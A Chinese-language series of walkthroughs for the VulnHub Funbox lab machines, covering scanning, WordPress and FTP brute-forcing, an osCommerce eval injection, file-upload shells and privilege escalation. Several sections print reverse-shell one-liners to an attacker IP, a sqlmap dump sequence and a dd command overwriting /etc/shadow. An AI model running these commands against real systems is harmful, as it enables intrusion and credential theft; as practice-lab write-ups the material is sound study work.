Funbox: 1
信息收集
主机发现
扫描攻击机同网段存活主机。
nmap 192.168.31.0/24 -Pn -T4
靶机ip:192.168.31.217
端口扫描
nmap 192.168.31.217
开放端口21,22,80,33060。80http服务需要重定向。
web站点收集
根据端口扫描结果,需要修改靶机ip和域名的映射,vim /etc/hosts
成功访问。根据首页提示该网站由wordpress搭建。
访问/secret/,没东西。
渗透
wpscan
站点由WordPress搭建,直接上wpscan枚举用户名,插件,主题。
wpscan --url http://funbox.fritz.box/ --enumerate u,p,t
得到两个用户名admin,joe。
分别枚举两个用户的密码。
wpscan --url http://funbox.fritz.box/ --usernames admin --passwords /usr/share/wordlists/nmap.lst
admin / iubire
joe / 12345
反弹shell
得到admin密码,尝试登录/wp-admin,是管理员账号。反弹shell,我这里习惯通过在插件代码中加入反弹shell脚本。
写入反弹shell脚本后更新插件,攻击机nc开始监听端口,启用插件等待监听上线。拿到一个低权限用户。
# 获得交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
有两个用户funny和joe。在funny家目录下的.reminder.sh发现信息,意思是funny给Joe发了一封名为"Reminder"的信,内容是告诉Joy,新管理员Ted掌管备份。
#!/bin/bash
echo "Hi Joe, the hidden backup.sh backups the entire webspace on and on. Ted, the new admin, test it in a long run." | mail -s"Reminder" joe@funbox
ssh登录
Joe远程登录ssh服务。在mbox中看到两封信,管理员Ted说告诉funny备份已经完成。
Hi Joe, please tell funny the backupscript is done.
Joe, WTF!?!?!?!?!?! Change your password right now! 12345 is an recommendation to fire you.
在进行其他操作时发现被限制了,使用命令python3 -c 'import pty;pty.spawn("/bin/bash")'
解决。切换到funny家目录找备份文件。
当前用户对.backup.sh可写可执行,并且查看时间发现可能是一个定时任务。
提权
在.backup.sh中添加反弹shell。
bash -i >& /dev/tcp/攻击机ip/port 0>&1
nc监听端口等待上线,成功拿到root权限。可能会拿到funny权限,这里多试几次多等一下就是root权限,因为funny和root都有定时任务执行.backup.sh但是时间不同。
get flag.txt🎆
Funbox: Rookie
靶机下载地址
信息收集
主机发现
扫描攻击机同网段存活主机。
nmap 192.168.31.0/24 -Pn -T4
目标靶机ip为:192.168.31.215
端口扫描
nmap 192.168.31.215 -A -p- -T4
开放了21,22,80端口。
访问http://192.168.31.215/robots.txt,提示/logs/路径,访问显示404。对站点进行目录扫描,没有收获。
渗透
ftp弱口令登录
ftp服务器允许匿名用户登录,尝试弱口令。
ftp 192.168.31.215
ftp/ftp
成功登录,ftp服务器上有很多文件,批量下载到本地。
mget *
得到一堆zip文件,有三个非zip文件先看一下。
cat .@admins
得到一串base加密字符。
SGkgQWRtaW5zLAoKYmUgY2FyZWZ1bGwgd2l0aCB5b3VyIGtleXMuIEZpbmQgdGhlbSBpbiAleW91cm5hbWUlLnppcC4KVGhlIHBhc3N3b3JkcyBhcmUgdGhlIG9sZCBvbmVzLgoKUmVnYXJkcwpyb290
base64解码,提示管理员的密码在管理员名字.zip中。
Hi Admins,
be carefull with your keys. Find them in %yourname%.zip. The passwords are the old ones.
Regards root
cat .@users
,提示用户密码在用户名.zip中。
Hi Users,
be carefull with your keys. Find them in %yourname%.zip. The passwords are the old ones.
Regards root
cat welcome.msg
Welcome, archive user %U@%R !
The local time is: %T
This is an experimental FTP server. If you have any unusual problems, please report them via e-mail to <root@%L>.
frackzip破解zip文件
剩下的zip文件全部需要密码才能解压缩。使用压缩包爆破工具fcrackzip破解密码,字典用的是kali自带的rockyou.txt。最终爆破出cathrine.zip的密码是catwoman,tom.zip的密码是iubire。
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u cathrine.zip
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u tom.zip
cathrine.zip解压后得到id_rsa,私钥文件。tom.zip解压后得到一个相同的id_rsa。
私钥登录ssh
cathrine登录失败,tom登录成功。
ssh -i id_rsa cathrine@192.168.31.215
ssh -i id_rsa tom@192.168.31.215
sudo提权
ssh登录后,尝试提权,发现sudo需要密码,cd,find命令被限制。但是信息收集时发现.mysql_history里面有密码。
查看.mysql_history文件,历史命令文件,可以看到向support表插入了一些内容,tom:xx11yy22!。
sudo -l
,输入密码xx11yy22!
查看tom用户可用的特权命令有哪些,所有命令都可用。
su root
get flag.txt🎆
Funbox: Easy
靶机下载地址
1、主机发现
nmap扫描攻击机同网段存活主机。确认目标靶机ip:192.168.31.229
2、端口扫描
对目标机进行全面扫描。
nmap 192.168.31.229 -A -p- -T4
开放了22,80,33060端口。33060端口是mysqlx插件占用的端口。
3、网站目录扫描
dirsearch -u http://192.168.31.229
扫描出大量目录和页面,几个需要注意的目录和页面:
-
/admin/
-
/robots.txt
-
/secret/
-
/store
/admin。登录界面,尝试sql万能密码' or 1='1,成功登入一个网站后台,没什么发现。一个烟雾弹。
/robots.txt。指向/gym。
访问/gym,一个健身的站点,这里登录框是邮箱和密码就没有尝试弱口令。对/gym继续目录扫描,还是一推目录和页面,最终确定烟雾弹+1。
/secret/。奥斯卡·王尔德的名言。烟雾弹+1。
/store。一个书店的站点,CSE Bookstore,漏洞库搜索发现存在sql注入漏洞。
4、获取store用户名和密码
有两个方法。简单的方法是通过对/store二层目录扫描,发现敏感文件找到用户名和加密密码。
dirsearch http://192.168.31.229/store
一堆目录中,发现数据库相关内容/database。
访问得到一个sql文件。
发现用户名和密码。密码d033e22ae348aeb5660fc2140aec35850c4da997,猜测是mysql5.7之前的版本,SHA-1算法解密得到密码是admin。
另一种方式是,利用/store存在的sql注入漏洞获取用户名和密码。漏洞库搜索CSE Bookstore,得到几个可用的POC。
sqlmap一把梭即可。
# 数据库
sqlmap.py -u http://192.168.31.229/store/bookPerPub.php?pubid=4 --batch --dbs
# 表
sqlmap.py -u http://192.168.31.229/store/bookPerPub.php?pubid=4 --batch -D store --tables
# 字段名
sqlmap.py -u http://192.168.31.229/store/bookPerPub.php?pubid=4 --batch -D store -T admin --columns
# 用户名和密码
sqlmap.py -u http://192.168.31.229/store/bookPerPub.php?pubid=4 --batch -D store -T admin -C name,pass --dump
admin/admin
5、getshell
/store/admin.php登录。登录后进入/store/admin_book.php,Add new book功能。
点击添加新图书,找到文件上传功能点。
利用文件上传功能点上传反弹shell文件,上传kali自带的php反弹shell(/usr/share/webshells/php/php-reverse-shell.php),注意修改lhost和lport。
上传。Publisher需要填写网站中有的Publisher,在/store/admin_book.php页面随便复制一个用。
上传成功。回到首页看到我们添加的图书
还需要文件上传后的保存地址,F12,复制图片路径。
访问反弹shellhttp://192.168.31.229/store/bootstrap/img/php-reverse-shell.php
# 监听
nc -lvvp 4444
# 获得交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
在/home/tony路径下找到一些密码。
6、sudo提权
ssh登录到tony。
ssh tony@192.168.31.229
密码:yxcvbnmYYY
sudo提权。可以利用pkexec提权。
sudo pkexec /bin/sh
get root.flag!🎆
Funbox: CTF
靶机下载地址
信息收集
主机发现
nmap扫描攻击机同网段存活主机。
nmap 192.168.31.0/24 -Pn -T4
目标靶机ip:192.168.31.116
端口扫描
nmap 192.168.31.116 -A -p- -T4
开放22,80,110,143端口。
目录扫描
使用dirsearch,dirb两个工具扫描皆无收获,换字典也没有东西。靶机描述中提示Hints: Nikto scans "case sensitive" and you need a minimum of 15 mins to get user !
意思是使用Nikto扫描,区分大小写。(不太会用Nikto,重点是区分大小写而不是工具)
# -U 大写
dirsearch -u http://192.168.31.116 -U
访问/ROBOTS.TXT,F12检查页面,发现另一个路径:/igmseklhgmrjmtherij2145236
访问显示404,扫描igmseklhgmrjmtherij2145236二层目录。
dirsearch -u http://192.168.31.116/igmseklhgmrjmtherij2145236
访问/upload.php,文件上传页面。
渗透
一个流产的思路
根据信息收集ssh版本OpenSSH 7.2p2,漏洞库搜exp。枚举用户,爆破密码。(尝试这个思路的原因是目录扫描没有扫描到可用页面)
searchsploit OpenSSH 7.2p2
复制出来使用。
searchsploit -m 40136.py
python 40136.py -U '/usr/share/wordlists/nmap.lst' -e 192.168.31.116
执行40136.py后报错。
脚本需要修改两个地方。报错主要是由于攻击机python版本不支持time.clock()
-
line 76,time.clock() 修改为time.perf_counter()
-
line 80,time.clock() 修改为time.perf_counter()
但是后面发现同样命令每次执行枚举得到的用户名都不同,放弃。
getshell-文件上传
http://192.168.31.116/igmseklhgmrjmtherij2145236/upload.php上传反弹shell。
上传成功后需要触发反弹shell,访问文件上传保存路径/igmseklhgmrjmtherij2145236/upload/php-reverse-shell.php。nc监听端口成功getshell。
通过python获得交互式shell。
python3 -c 'import pty;pty.spawn("/bin/bash")'
hint.txt
提示我们rockyou.txt无用了,另外还有三段编码。
三段编码解码结果如下:
The next hint is located in:
No hints here !
Search for todos.
提示我们找todo,便签?计划表?跟定时任务有关?cat /etc/crontab
没有收获,最后在thomas用户目录找到.todo文件,内容是一些待办事宜,得到两个信息:1、密码中有感叹号。2、邮件。
根据提示,密码末尾是"!",在rockyou.txt中每行末尾都加上"!",生成新字典wordlist。
cat /usr/share/wordlists/rockyou.txt | sed 's/$/!/g' > wordlist
hydra爆破thomas的密码。
hydra -l thomas -P wordlist ssh://192.168.31.116
get thomas password:thebest!
内核提权
尝试内核提权uname -a
上传Linux_Exploit_Suggester(一款根据Linux操作系统版本号自动查找相应提权脚本的工具)查找内核漏洞。
运行linux-exploit-suggester.sh。
靶机系统版本ubuntu 16.04、内核版本4.4.0
扫描出很多漏洞,找一个和靶机系统版本内核版本一致的,例如:CVE-2017-16995。
下载exp,https://www.exploit-db.com/download/45010,gcc编译后上传。
gcc 45010.c -o expchmod 777 exp
./exp
提权成功,get flag.txt🎆
Funbox: Next Level
靶机下载地址
信息收集
主机发现and端口扫描
扫描攻击机同网段存活主机。
nmap 192.168.31.0/24 -Pn -T4
目标靶机ip为:192.168.31.111
nmap 192.168.31.111 -A -p- -T4
开放端口有22,80端口。
目录扫描
dirsearch -u http://192.168.31.111
扫描到/drupal目录。
访问/drupal目录会自动跳转到http://192.168.178.33/drupal,访问时提示不可连接。扫描/drupal二层目录,发现该站点由WordPress搭建。
dirsearch -u http://192.168.31.111/drupal
为了解决无法访问/drupal的问题,需要重新配置靶机和攻击机的网络设置。1、在virtualbox工具中创建一个新的NAT网络,网段设置为192.168.178.0/24。2、靶机进入grub模式修改静态ip为192.168.178.33。即可访问。
后续测试发现不修改靶机静态ip也可以直接访问http://192.168.31.111/drupal/index.php(下面演示的是不修改静态ip的做法)
wpscan枚举用户,插件,主题。
wpscan --url http://192.168.31.111/drupal/index.php --wp-content-dir http://192.168.31.111/drupal/wp-content --enumerate u,p,t
扫描到两个用户admin,ben。
继续使用wpscan枚举两个用户的密码,可能是因为无法访问/wp-admin的原因爆破不出来。
渗透
ssh登录
转战22端口,hydra爆破ssh。ben爆破成功。
hydra -l ben -P /usr/share/wordlists/nmap.lst ssh://192.168.31.111
邮件
登录时提醒有邮件。
mail文件夹里面的文件ben用户没有读权限。查看用户组,ben在mail组内,但是使用mail命令提示无权限。
ben用户能做的操作很有限,家目录中发现两个用户目录,也无法查看。/var/mail目录下有邮件,同样无权限查看,有邮件意味着可能开放110,143端口。
netstat -antp
telnet连接110端口,使用ben的凭证登录查看邮件。
telnet 127.0.0.1 110
user ben
pass pookie
# 列出邮件
list
# 查看第n条邮件
retr n
有三封邮件。
1、
Hi Ben,
are you going to Jonas' party on Saturday?
2、
Hey Ben,
did you do all the updates?
3、
Hi Ben,
please come to my office at 10:00 a.m. We have a lot to talk about! The new employees must be created. I've already finished Adam. adam: qwedsayxc!
第三封信中提到了adam:qwedsayxc!,得到adam的密码。切换到adam用户。
sudo提权
切换到adam用户后,提权sudo -l
,查了一下只有dd命令可用。
使用dd命令替换靶机root用户密码hash值。
# 攻击机生成密码hash值
# -m 指定加密方式 Linux 的密码采用的是 SHA512 散列加密算法
mkpasswd -m sha-512 123456$6$z4og1R7QIwOmq30W$eKCLHcZ1xvbB6wljH4gZrTCW2hFbe1nWUUAnofGtOhmM/RZ5/oWZx/EUb3jztJPJe8U3aylSog1p4kjhcZHuD/# 替换
echo 'root:$6$z4og1R7QIwOmq30W$eKCLHcZ1xvbB6wljH4gZrTCW2hFbe1nWUUAnofGtOhmM/RZ5/oWZx/EUb3jztJPJe8U3aylSog1p4kjhcZHuD/:19778:0:99999:7:::' | sudo dd of=/etc/shadow
用刚刚写入的密码123456切换到root用户。
get flag.txt🎆
Funbox: Gamble Hall
靶机下载地址
信息收集
主机发现
扫描攻击机同网段存活主机。
nmap 192.168.31.0/24 -Pn -T4
确认目标靶机ip:192.168.31.134
端口扫描
nmap 192.168.31.134 -A -p- -T4
开放了22,80端口,80http服务需要进行重定向。修改/etc/hosts,添加IP地址和域名的映射。
Web站点信息收集
dirsearch -u http://funbox6.box
whatweb http://funbox6.box
根据目录扫描和网站指纹的结果,确认是由wordpress搭建的网站,直接上wpscan。先枚举用户名、插件、主题。
wpscan --url http://funbox6.box --enumerate u,p,t
得到用户名,枚举密码。
wpscan --url http://funbox6.box --passwords directory-list-2.3-small.txt --usernames admin --max-threads 100
试了几个字典都没能爆出密码,而且爆破过程中不定时提示连接服务器失败。
在站点找有没有指向密码的有用信息。多次访问站点发现首页副标题会变化。"OPENED"和"CLOSED",存在定时任务。
测试发现,只有在"OPENED"状态下访问http://funbox6.box/index.php/2020/09/08/hello-world/才会给出admin的密码。
一串base编码,base32解密结果如下:admin:gamblehall777。
渗透
getshell
赶紧在"OPENED"状态下登录wp-admin,登录后就是常规的wordpress漏洞利用。(后续渗透过程必须要在OPENED状态才有效,OPENED状态时间很短)
这里通过在插件代码中添加反弹shell脚本实现getshell。选择一个插件,在插件代码中插入反弹shell脚本,并更新代码。
启用刚刚修改过的插件,反弹成功。
拿到shell后进行信息收集。当前目录下有个hint.txt,内容如下:
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>++++++++++++++.>++++.+.+++++.-------.++++++++++++.<<++.>+++++++++++++++.+++++.-------.>-----.<++++++.--.<.>+.>++++.---.--.<<.>>+++++++.<+++.++++.--------.<.>>.-----.<<.>>+++++.<++++.++++.--------.<+.-.>------------------.>-----.--.--------.+++++++++++++++.-----------.++++.--------.++++++++++++++.<<.+++++++++++++++++.-.----------------.>>------.----.+++++.+++++.<<.>++++++++++++++.>-.<++++.<.>.>----.+.++++++.<++.+.<.>--.>------.+++.<<.>-----.<.>++++++.------.>-----.<++++.--.+++++.-------.>+.<++++++.--.>++++.<<++++++++++++++.
BrainFuck解码:Things change from time to time! Sometimes 10 mins are enough for a gamechanger. 翻译成中文是事情时有变!有时10分钟对于游戏改变者来说就足够了。 指向定时任务,十分钟一次?
sudo提权
sudo l
结果显示 www-data 用户在没有 root 密码的情况下可以运行任何命令。
直接切换到root用户,sudo su
,get root.flag🎆
关于定时任务
查看靶机的定时任务crontab -l
,每十分钟执行一次/root/gamble.sh。
cat /root/gamble.sh
,通过交替切换一个配置文件实现OPENED和CLOSED。
Funbox: EasyEnum
靶机下载地址
信息收集
主机发现
nmap 192.168.31.218 -Pn -T4
靶机ip:192.168.31.116
端口扫描
nmap 192.168.31.116 -A -p- -T4
开放端口有22,80。
目录扫描
dirsearch -u http://192.168.31.116
访问/secret/,得到一串乱码。
鏍瑰瘑鐮佹槸鐢ㄦ埛瀵嗙爜鐨勭粍鍚堬細harrysallygoatoraclelissy
经过乱码恢复,GBK——>UTF-8。
访问/robots.txt,提示枚举。
访问/phpmyadmin/doc/html/index.html,提示phpMyAdmin版本为4.6.6.
尝试phpmyadmin弱口令不成功。换字典加扩展名继续目录扫描。
gobuster dir -u http://192.168.31.116 -w directory-list-2.3-small.txt -x html,php,js,jpg,png,txt
扫到新路径/mini.php。
访问发现是文件上传。
利用文件上传getshell
发现可以编辑/mini.php文件。
添加shell脚本。
nc监听,访问/mini.php,等待上线。
# 获得交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /home
,发现五个用户,和/secret/中得到的信息对上了。
karla目录中read.me可读。说karla没用。
karla is really not a part of this CTF !
ssh爆破
既然没有收集到别的信息,ssh爆破,根据官网的提示字典用rockyou.txt。
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.31.116
成功爆破出goat用户的密码。
sudo提权
登录到goat用户后尝试提权,发现当前用户被允许以root身份执行/usr/bin/mysql。
sudo mysql -e '\! /bin/sh'
提权成功。
get root.flag!🎆
Funbox: Lunchbreaker
靶机下载地址
信息收集
主机发现
扫描攻击机同网段存活主机。
nmap 192.168.31.0/24 -Pn -T4
靶机ip:192.168.31.129
端口扫描
nmap 192.168.31.129 -A -p- -T4
开放端口有21,22,80。
-
ftp vsftpd 3.0.3
-
ftp服务允许匿名登录,ftp服务器内有内容
目录扫描
访问http服务。一张图片。
F12检查页面,jane和j.miller,可能是用户名。
dirsearch -u http://192.168.31.129
扫描得到/robots.txt,访问得到如下提示。提示继续目录扫描,换工具字典都没扫到其他目录。
渗透
ftp匿名登录
ftp服务允许匿名登录,ftp/ftp。
get xx
supers3cr3t内是BrainFuck编码,解码内容如下:
Look deep into nature and then you will understand everything better."
.s3cr3t内是base64编码,解码内容如下:
If the radiance of a thousand suns / were to burst at once into the sky / that would be like / the splendor of the Mighty One and I am become Death, the shatterer of worlds
没懂什么意思,看看wordpress文件夹。在wp-config.php中找到用户名和密码wpuser/JuZhRbNNk.(),尝试登录,不行。
图片隐写
仅有一张图片,看一下有没有图片隐写的可能。steghide试过后提示需要密码,用stegseek尝试爆破密码失败,先后试了jphide和foremost都没用收获。
hydra爆破
目前收集的到信息很有限,用两个疑似用户名jane和j.miller尝试爆破。
ssh
失败。
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.31.129
ftp
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.31.129
得到jane/password
ftp登录
jane远程登录到ftp服务器。找到keys.txt。
不知道有啥用,可能是密码字典?
kJGgh-kiu65-zghku-76zzt-hgf56
llij8-fgzZ-rTzU1-ddfgz-i876S
发现其他用户。想继续信息收集发现能做的操作很少。
hydra爆破jim,john,jules
hydra -L user2.txt -P /usr/share/wordlists/nmap.lst ssh://192.168.31.129
hydra -L user2.txt -P /usr/share/wordlists/nmap.lst ftp://192.168.31.129
ftp jim/12345
ftp jules/sexylady
john没有爆破出来,换个字典单独爆破,也失败了。
jim
.ssh文件夹内authorized_keys和id_rsa都为空,没啥用,也不能上传。
jules
在.backups下找到两个字典.good-passwd,.bad-passwds
用这两个字典爆破john。.bad-passwds成功爆破出密码john/zhnmju!!!
hydra -l john -P .bad-passwds ssh://192.168.31.129
ssh登录
john/zhnmju!!!
todo.list。已安装LAMP,MAIL-System,Firewall,Plesk,最终重要的一点是:root的密码和john一致。
su root
get root.flag!🎆
Funbox: GaoKao
靶机下载地址
信息收集
主机发现
扫描攻击机同网段存活主机。
nmap 192.168.31.0/24 -Pn -T4
目标靶机ip:192.168.31.140
端口扫描
nmap 192.168.31.140 -A -p- -T4
开放端口有:21,22,80,3306。
目录扫描
访问80端口的http服务,首页是apache的默认页面,进一步目录扫描,没有收获。
dirsearch -u http://192.168.31.140
dirsearch -u http://192.168.31.140 -t 64 -e *
# 换工具扫,御剑,dirb,gpbuster
渗透
根据端口扫描得到的信息ProFTPD 1.3.5e,看看漏洞库里有没有可利用的exp。
searchsploit ProFTPD 1.3.5
经过测试这些exp都不行。
ftp匿名登录
根据端口扫描的结果,运行匿名登录。
ftp的匿名登录(两种都可以):
-
用户名:ftp 密码:ftp
-
用户名:anonymous 密码:空
get welcome.msg
,将welcome.msg下载到本地,内容如下:
Welcome, archive user %U@%R !
The local time is: %T
This is an experimental FTP server. If you have any unusual problems, please report them via e-mail to<sky@%L>.
唯一的有用信息是用户名是sky。
hydra爆破
没有其他线索,拿这个sky疑似用户名进行爆破,ssh,ftp,mysql轮流来一遍。
ssh爆破,没有爆出密码。
hydra -l sky -P /usr/share/wordlists/nmap.lst ssh://192.168.31.140
ftp爆破,成功得到密码。
hydra -l sky -P /usr/share/wordlists/nmap.lst ftp://192.168.31.140
密码是:thebest
getshell
ftp服务器远程登录,有一个user.flag文件。下载到本地后查看,这是一个脚本文件,sky用户对user.flag有写和执行的权限,如果可以修改该文件内容为反弹shell,然后上传到靶机上覆盖原来的文件,并执行,就可以获得靶机shell。
get user.flag //下载到本地
bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' //在user.flag中写入反弹shell
put user.flag //将修改后的文件上传到目标机替换原来的user.flag
时间变了,说明替换成功。
出现一个问题:ftp如何执行这个脚本。先不管直接监听,过了一会儿发现成功getshell,所以有定时任务,定时执行user.flag。
suid提权
列出所有的suid可执行文件。
find / -perm -4000 -exec ls -al {} \; 2>/dev/null
-
-4000 表示SUID。
-
-exec 参数后面跟的是command命令,';'是终止符号,一般会加上反斜杠避免被转义。
发现/bin/bash,利用bash提权。bash -p
该命令是以root权限打开了一个bash shell。
cd /root
, get root.flag🎆
Funbox: Under Construction!
信息收集
主机发现
扫描攻击机同网段存活主机nmap 192.168.31.0/24 -Pn -T4
目标机ip:192.168.31.197
端口扫描
nmap 192.168.31.197 -A -p- -T4
目标机开放端口:22,25,80,110,143.
目录扫描
访问http服务。没什么线索。
目录扫描,dirsearch -u http://192.168.31.197
访问/catalog,显示osCommerce v2.3.4.1。
漏洞利用
方法1
osCommerce是一套国际著名的开源免费的电子商务系统,而v2.3.4.1版本存在远程代码执行漏洞。
payload:
http://192.168.31.197/catalog/install/install.php?step=4
post:DIR_FS_DOCUMENT_ROOT=./&DB_DATABASE=');@eval($_POST['cmd']);/*
使用蚁剑连接http://192.168.31.197/catalog/install/includes/configure.php。成功getshell。
在configure.php.bak中找到数据库用户名及密码。
用户名:jack
密码:yellow
接下来蚁剑能进行的操作就很少了,需要想办法反弹shell到攻击机中,反弹shell只有下面两种可行。(第二种反弹方式会出现su: must be run from a terminal问题,解决方法后面展示)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.218 7777 >/tmp/f
# or
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.31.218 7777 >/tmp/f
成功。
方法2
也可以通过searchsploit搜索漏洞exp。searchsploit osCommerce
选择适合的exp,后面测试发现两个exp都是可行的。
例如,使用第二个exp。
searchsploit -m 50128.py
python3 50128.py http://192.168.31.197/catalog
成功。原理都是一样的,使用现成的exp更方便。
切换到家目录,发现存在四个用户,当前权限过低(www-data)无法访问相关目录。
尝试远程登录ssh服务。使用jack用户远程登录ssh发现密码错误,hydra爆破密码没成功。其余三个用户也用hydra爆破一下。
hydra -l username -P /usr/share/wordlists/nmap.lst ssh://192.168.31.197
只有susan用户,hydra爆破得到密码shadow。
提示提权。
提权-pspy64
上传pspy64到目标机。
# 攻击机在pspy64目录下开启http服务
python3 -m http.server 8989
# 目标机下载
wget http://192.168.31.218:8989/pspy64
chmod 777 pspy64
./pspy64
发现一个计划任务,每分钟都会执行。
cat /usr/share/doc/examples/cron.sh
base64解码工具解一下,发现直接告诉我们root用户的密码。
用户名:root
密码:rfvbgt!!
切换到root用户。su root
,发现问题su: must be run from a terminal,提示需要在终端中执行,我这不是在交互式shell里吗?
最后百度发现可以用python调用本地的shell python -c 'import pty;pty.spawn("/bin/bash")'
即可解决。
切换成功。
get flag🎆
其余FUNBOX系列靶机渗透实战
VulnHub靶机漏洞利用合集1-CSDN博客